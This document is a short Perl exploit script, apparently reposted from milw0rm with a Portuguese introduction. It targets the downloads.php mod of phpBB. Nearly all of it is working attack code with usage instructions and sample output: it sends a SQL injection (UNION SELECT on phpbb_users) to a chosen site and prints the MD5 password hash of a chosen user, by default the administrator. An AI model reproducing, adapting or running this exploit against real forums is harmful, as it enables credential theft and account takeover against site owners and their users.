Exploit que explora as vulnerabilidades do Novo PhpBB.. 


phpBB <= 20.0.13 downloads.php mod Remote Exploit 

#!/usr/bin/perl -w 
use IO::Socket; 

## Example: 
## C:\>phpbb.pl www.site.com /phpBB2/ 2 
## 
## downloads.php mod in phpBB <= 20.0.13 
## ********************************** 
## [~] Connecting... 
## [+] Connected! 
## [~] Sending Data... 
## [~] Data Sent, Waiting for response... 
## [+] MD5 Hash for user with id=2 is: 81dc9bdb52d04dc20036dbd8313ed055 
## 
if (@ARGV < 3) 
{ 
print "\n\n"; 
print "|****************************************************************|\n"; 
print " phpBB <=20.0.13 'downloads.php' Mod\n"; 
print " Bug found by Axl And CereBrums\n"; 
print " Coded by CereBrums // 2/4/2005\n"; 
print " Usage: phpbb.pl \n"; 
print " e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n"; 
print " [~] - site address\n"; 
print " [~] - forum folder\n"; 
print " [~] - user id (2 default for phpBB admin)\n"; 
print "|****************************************************************|\n"; 
print "\n\n"; 
exit(1); 
} 

$take = 0; 
$success = 0; 
$server = $ARGV[0]; 
$folder = $ARGV[1]; 
$user_id = $ARGV[2]; 
print "\n downloads.php mod in phpBB <= 20.0.13\n"; 
print " **********************************\n"; 
print " [~] Connecting...\n"; 
$socket = IO::Socket::INET->new( 
Proto => "tcp", 
PeerAddr => "$server", 
PeerPort => "80") || die "$socket error $!"; 

print " [+] Connected\n"; 
print " [~] Sending Data...\n"; 

$path = "http://$server/"; 
$path .= "/$folder/"; 
$path .= "downloads.php?cat=-
1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%
20WHERE%20user_id=$user_id/*"; print $socket "GET $path HTTP/1.0\r\n\r\n"; 

print " [~] Data Sent, Waiting for response...\n"; 

while ($answer = <$socket>) 
{ 
if ($take == 1) { 
$pass = substr($answer,51,32); 
print " [+] MD5 Hash for user with id=$user_id is: $pass\n"; 
$success = 1; 
$take = 0; 
} 
$found = rindex ($answer,"downloads.php?view=detail&id=0&cat=0"); 
if ( $found > -1 ) { 
$take = 1; 
} 
} 
if ($success==0) {print " [-] Exploit failed\n";} 

## EOF ## 
# milw0rm.com [2005-04-02]

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